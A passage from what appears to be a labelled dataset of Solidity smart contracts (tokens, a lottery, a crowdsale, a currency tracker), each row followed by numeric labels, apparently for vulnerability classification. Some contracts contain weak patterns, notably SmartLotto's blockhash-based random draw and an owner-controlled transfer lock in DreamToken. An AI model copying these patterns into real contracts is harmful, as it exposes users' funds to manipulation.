owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract MultiOwnable is Ownable {
struct Types {
mapping (address => bool) access;
}
mapping (uint => Types) private multiOwnersTypes;
event AddOwner(uint _type, address addr);
event AddOwner(uint[] types, address addr);
event RemoveOwner(uint _type, address addr);
modifier onlyMultiOwnersType(uint _type) {
require(multiOwnersTypes[_type].access[msg.sender] || msg.sender == owner, "403");
_;
}
function onlyMultiOwnerType(uint _type, address _sender) public view returns(bool) {
if (multiOwnersTypes[_type].access[_sender] || _sender == owner) {
return true;
}
return false;
}
function addMultiOwnerType(uint _type, address _owner) public onlyOwner returns(bool) {
require(_owner != address(0));
multiOwnersTypes[_type].access[_owner] = true;
emit AddOwner(_type, _owner);
return true;
}
function addMultiOwnerTypes(uint[] types, address _owner) public onlyOwner returns(bool) {
require(_owner != address(0));
require(types.length > 0);
for (uint i = 0; i < types.length; i++) {
multiOwnersTypes[types[i]].access[_owner] = true;
}
emit AddOwner(types, _owner);
return true;
}
function removeMultiOwnerType(uint types, address _owner) public onlyOwner returns(bool) {
require(_owner != address(0));
multiOwnersTypes[types].access[_owner] = false;
emit RemoveOwner(types, _owner);
return true;
}
}
contract ShipCoinCurrency is ICurrency, MultiOwnable, String {
using SafeMath for uint256;
uint private coinUSDRate = 12;
uint private currVolPercent = 5;
uint256 private coinRaisedInWei = 0;
uint private usdAbsRaisedInCents = 0;
uint private coinRaisedBonusInWei = 0;
struct CurrencyData {
bool active;
uint usd;
uint devision;
uint raised;
uint usdRaised;
uint counter;
uint lastUpdate;
}
mapping(bytes32 => CurrencyData) private currencyList;
bytes32[] private currencyTicker;
event ChangeCoinUSDRate(uint oldPrice, uint newPrice);
event ChangeCurrVolPercent(uint oldPercent, uint newPercent);
event ChangeCurrency();
event AddPay();
event EditPay();
constructor(uint _ethPrice, uint _btcPrice, uint _eurPrice, uint _ambPrice) public {
require(addUpdateCurrency("ETH", _ethPrice, (1 ether)));
require(addUpdateCurrency("BTC", _btcPrice, (10**8)));
require(addUpdateCurrency("USD", 1, 1));
require(addUpdateCurrency("EUR", _eurPrice, 100));
require(addUpdateCurrency("AMB", _ambPrice, (1 ether)));
}
function getUsdAbsRaisedInCents() external view returns(uint) {
return usdAbsRaisedInCents;
}
function getCoinRaisedBonusInWei() external view returns(uint) {
return coinRaisedBonusInWei;
}
function addUpdateCurrency(string _ticker, uint _usd, uint _devision) public returns(bool) {
return addUpdateCurrency(_ticker, _usd, _devision, 0, 0);
}
function addUpdateCurrency(string _ticker, uint _usd) public returns(bool) {
return addUpdateCurrency(_ticker, _usd, 0, 0, 0);
}
function addUpdateCurrency(string _ticker, uint _usd, uint _devision, uint _raised, uint _usdRaised) public onlyMultiOwnersType(1) returns(bool) {
require(_usd > 0, "1");
bytes32 ticker = stringToBytes32(_ticker);
if (!currencyList[ticker].active) {
currencyTicker.push(ticker);
}
currencyList[ticker] = CurrencyData({
active : true,
usd : _usd,
devision : (_devision == 0) ? currencyList[ticker].devision : _devision,
raised : currencyList[ticker].raised > 0 ? currencyList[ticker].raised : _raised,
usdRaised: currencyList[ticker].usdRaised > 0 ? currencyList[ticker].usdRaised : _usdRaised,
counter: currencyList[ticker].counter > 0 ? currencyList[ticker].counter : 0,
lastUpdate: block.timestamp
});
return true;
}
function setCoinUSDRate(uint _value) public onlyOwner returns(bool) {
require(_value > 0);
uint oldCoinUSDRate = coinUSDRate;
coinUSDRate = _value;
emit ChangeCoinUSDRate(oldCoinUSDRate, coinUSDRate);
return true;
}
function setCurrVolPercent(uint _value) public onlyOwner returns(bool) {
require(_value > 0 && _value <= 10);
uint oldCurrVolPercent = currVolPercent;
currVolPercent = _value;
emit ChangeCurrVolPercent(oldCurrVolPercent, currVolPercent);
return true;
}
function getTokenWeiFromUSD(uint usdCents) public view returns(uint) {
return usdCents.mul(1 ether).div(coinUSDRate);
}
function getTokenFromETH(uint ethWei) public view returns(uint) {
return ethWei.mul(currencyList["ETH"].usd).div(coinUSDRate);
}
function getUsdFromETH(uint ethWei) public view returns(uint) {
return ethWei.mul(currencyList["ETH"].usd).div(1 ether);
}
function addPay(string _ticker, uint value, uint usdAmount, uint coinRaised, uint coinRaisedBonus) public onlyMultiOwnersType(2) returns(bool) {
require(value > 0);
require(usdAmount > 0);
require(coinRaised > 0);
bytes32 ticker = stringToBytes32(_ticker);
assert(currencyList[ticker].active);
coinRaisedInWei += coinRaised;
coinRaisedBonusInWei += coinRaisedBonus;
usdAbsRaisedInCents += usdAmount;
currencyList[ticker].usdRaised += usdAmount;
currencyList[ticker].raised += value;
currencyList[ticker].counter++;
emit AddPay();
return true;
}
function editPay(
bytes32 ticker,
uint currencyValue,
uint currencyUsdRaised,
uint _usdAbsRaisedInCents,
uint _coinRaisedInWei,
uint _coinRaisedBonusInWei
)
public
onlyMultiOwnersType(3)
returns(bool)
{
require(currencyValue > 0);
require(currencyUsdRaised > 0);
require(_usdAbsRaisedInCents > 0);
require(_coinRaisedInWei > 0);
assert(currencyList[ticker].active);
coinRaisedInWei = _coinRaisedInWei;
coinRaisedBonusInWei = _coinRaisedBonusInWei;
usdAbsRaisedInCents = _usdAbsRaisedInCents;
currencyList[ticker].usdRaised = currencyUsdRaised;
currencyList[ticker].raised = currencyValue;
emit EditPay();
return true;
}
function addPreSaleBonus(uint bonusToken) public onlyMultiOwnersType(4) returns(bool) {
coinRaisedInWei += bonusToken;
coinRaisedBonusInWei += bonusToken;
emit EditPay();
return true;
}
function editPreSaleBonus(uint beforeBonus, uint afterBonus) public onlyMultiOwnersType(5) returns(bool) {
coinRaisedInWei -= beforeBonus;
coinRaisedBonusInWei -= beforeBonus;
coinRaisedInWei += afterBonus;
coinRaisedBonusInWei += afterBonus;
emit EditPay();
return true;
}
function getTotalUsdRaisedInCents() public view returns(uint) {
uint totalUsdAmount = 0;
if (currencyTicker.length > 0) {
for (uint i = 0; i < currencyTicker.length; i++) {
if (currencyList[currencyTicker[i]].raised > 0) {
totalUsdAmount += getUsdFromCurrency(currencyTicker[i], currencyList[currencyTicker[i]].raised);
}
}
}
return subPercent(totalUsdAmount, currVolPercent);
}
function getUsdFromCurrency(string ticker, uint value) public view returns(uint) {
return getUsdFromCurrency(stringToBytes32(ticker), value);
}
function getUsdFromCurrency(string ticker, uint value, uint usd) public view returns(uint) {
return getUsdFromCurrency(stringToBytes32(ticker), value, usd);
}
function getUsdFromCurrency(bytes32 ticker, uint value) public view returns(uint) {
return getUsdFromCurrency(ticker, value, 0);
}
function getUsdFromCurrency(bytes32 ticker, uint value, uint usd) public view returns(uint) {
if (currencyList[ticker].active && value > 0) {
return value.mul(usd > 0 ? usd : currencyList[ticker].usd).div(currencyList[ticker].devision);
}
return 0;
}
function getAllCurrencyTicker() public view returns(string) {
string memory _tickers = "{";
for (uint i = 0; i < currencyTicker.length; i++) {
_tickers = strConcat(_tickers, strConcat("\"", bytes32ToString(currencyTicker[i]), "\":"), uint2str(currencyList[currencyTicker[i]].usd), (i+1 < currencyTicker.length) ? "," : "}");
}
return _tickers;
}
function updateCurrency(string ticker, uint value) public onlyMultiOwnersType(6) returns(bool) {
bytes32 _ticker = stringToBytes32(ticker);
require(currencyList[_ticker].active);
require(value > 0);
currencyList[_ticker].usd = value;
currencyList[_ticker].lastUpdate = block.timestamp;
emit ChangeCurrency();
return true;
}
function checkTickerExists(string ticker) public view returns(bool) {
return currencyList[stringToBytes32(ticker)].active;
}
function getCurrencyList(string ticker)
public
view
returns(
bool active,
uint usd,
uint devision,
uint raised,
uint usdRaised,
uint usdRaisedExchangeRate,
uint counter,
uint lastUpdate
)
{
return getCurrencyList(stringToBytes32(ticker));
}
function getCurrencyList(bytes32 ticker)
public
view
returns(
bool active,
uint usd,
uint devision,
uint raised,
uint usdRaised,
uint usdRaisedExchangeRate,
uint counter,
uint lastUpdate
)
{
CurrencyData memory _obj = currencyList[ticker];
uint _usdRaisedExchangeRate = getUsdFromCurrency(ticker, _obj.raised);
return (
_obj.active,
_obj.usd,
_obj.devision,
_obj.raised,
_obj.usdRaised,
_usdRaisedExchangeRate,
_obj.counter,
_obj.lastUpdate
);
}
function getCurrencyRate(string _ticker) public view returns(uint) {
return currencyList[stringToBytes32(_ticker)].usd;
}
function getCurrencyData() public view returns(string) {
string memory _array = "{";
if (currencyTicker.length > 0) {
for (uint i = 0; i < currencyTicker.length; i++) {
if (currencyList[currencyTicker[i]].active) {
_array = strConcat(_array, strConcat("\"", bytes32ToString(currencyTicker[i]), "\":"), getJsonCurrencyData(currencyList[currencyTicker[i]]), (i+1 == currencyTicker.length) ? "}" : ",");
}
}
} else {
return "[]";
}
return _array;
}
function getCoinRaisedInWei() public view returns(uint) {
return coinRaisedInWei;
}
function getCoinUSDRate() public view returns(uint) {
return coinUSDRate;
}
function getCurrVolPercent() public view returns(uint) {
return currVolPercent;
}
function getJsonCurrencyData(CurrencyData memory _obj) private pure returns (string) {
return strConcat(
strConcat("{\"usd\":", uint2str(_obj.usd), ",\"devision\":", uint2str(_obj.devision), ",\"raised\":\""),
strConcat(uint2str(_obj.raised), "\",\"usdRaised\":", uint2str(_obj.usdRaised), ",\"usdRaisedCurrency\":", uint2str((_obj.raised.mul(_obj.usd).div(_obj.devision)))),
strConcat(",\"counter\":", uint2str(_obj.counter), ",\"lastUpdate\":", uint2str(_obj.lastUpdate), "}")
);
}
function subPercent(uint a, uint b) private pure returns(uint) {
uint c = (a / 100) * b;
assert(c <= a);
return a - c;
}
} | 0 | 259 |
pragma solidity ^0.4.21;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Lockable is Owned {
bool public isLocked = false;
modifier checkLock(address from) {
require(!isLocked || from == owner);
_;
}
function lock() public onlyOwner returns (bool success) {
isLocked = true;
return true;
}
function unLock() public onlyOwner returns (bool success) {
isLocked = false;
return true;
}
}
contract DreamToken is ERC20Interface, Owned, Lockable, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public totalSupply;
uint public maxSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function DreamToken() public {
symbol = "DREAM";
name = "Dream";
decimals = 8;
maxSupply = 21000000 * 10**8;
totalSupply = maxSupply;
balances[msg.sender] = maxSupply;
}
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public checkLock(msg.sender) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public checkLock(from) returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function() public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,902 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a - b;
assert(b <= a);
assert(a == c + b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
assert(a == c - b);
return c;
}
}
contract QunQunTokenIssue {
address public tokenContractAddress;
uint16 public lastRate = 950;
uint256 public lastBlockNumber;
uint256 public lastYearTotalSupply = 15 * 10 ** 26;
uint8 public inflateCount = 0;
bool public isFirstYear = true;
function QunQunTokenIssue (address _tokenContractAddress) public{
tokenContractAddress = _tokenContractAddress;
lastBlockNumber = block.number;
}
function getRate() internal returns (uint256){
if(inflateCount == 10){
if(lastRate > 100){
lastRate -= 50;
}
inflateCount = 0;
}
return SafeMath.div(lastRate, 10);
}
function issue() public {
if(isFirstYear){
require(SafeMath.sub(block.number, lastBlockNumber) > 2102400);
isFirstYear = false;
}
require(SafeMath.sub(block.number, lastBlockNumber) > 210240);
QunQunToken tokenContract = QunQunToken(tokenContractAddress);
if(inflateCount == 10){
lastYearTotalSupply = tokenContract.totalSupply();
}
uint256 amount = SafeMath.div(SafeMath.mul(lastYearTotalSupply, getRate()), 10000);
require(amount > 0);
tokenContract.issue(amount);
lastBlockNumber = block.number;
inflateCount += 1;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract QunQunToken {
string public name = 'QunQunCommunities';
string public symbol = 'QUN';
uint8 public decimals = 18;
uint256 public totalSupply = 15 * 10 ** 26;
address public issueContractAddress;
address public owner;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
event Issue(uint256 amount);
function QunQunToken() public {
owner = msg.sender;
balanceOf[owner] = totalSupply;
issueContractAddress = new QunQunTokenIssue(address(this));
}
function issue(uint256 amount) public {
require(msg.sender == issueContractAddress);
balanceOf[owner] = SafeMath.add(balanceOf[owner], amount);
totalSupply = SafeMath.add(totalSupply, amount);
Issue(amount);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success){
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_value <= balanceOf[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,711 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint8 private constant DRAW_DOW = 4;
uint8 private constant DRAW_HOUR = 11;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == DRAW_DOW && hour == DRAW_HOUR) {
if(games[GAME_NUM].status == 1) {
processGame();
}
} else {
games[GAME_NUM].status = 1;
}
}
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 &&
(weekday != DRAW_DOW || (weekday == DRAW_DOW && (hour < (DRAW_HOUR - 1) || hour > (DRAW_HOUR + 2)))) ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(err) {
for(uint8 i = 0; i < 5; i++) {
numbers[i] = random(i);
}
numbers = sortNumbers(numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(numbers[i] == numbers[j]) {
numbers[j]++;
}
}
}
}
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 927 |
pragma solidity ^0.4.19;
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(x >= y);
return x - y;
}
function safeMin256(uint256 x, uint256 y) internal pure returns (uint256) {
return x < y ? x : y;
}
}
contract XCTCrowdSale is SafeMath {
address public beneficiary;
uint256 public startBlock = 4969760;
uint256 public constant hardCap = 4000 ether;
uint256 public amountRaised;
function XCTCrowdSale(address _beneficiary) public {
beneficiary = _beneficiary;
amountRaised = 0;
}
modifier inProgress() {
require(block.number >= startBlock);
require(amountRaised < hardCap);
_;
}
function() public payable {
fundRaising();
}
function fundRaising() public payable inProgress {
require(msg.value >= 15 ether && msg.value <= 50 ether);
uint256 contribution = safeMin256(msg.value, safeSub(hardCap, amountRaised));
amountRaised = safeAdd(amountRaised, contribution);
beneficiary.transfer(contribution);
if (contribution != msg.value) {
uint256 overpay = safeSub(msg.value, contribution);
msg.sender.transfer(overpay);
}
}
} | 0 | 612 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
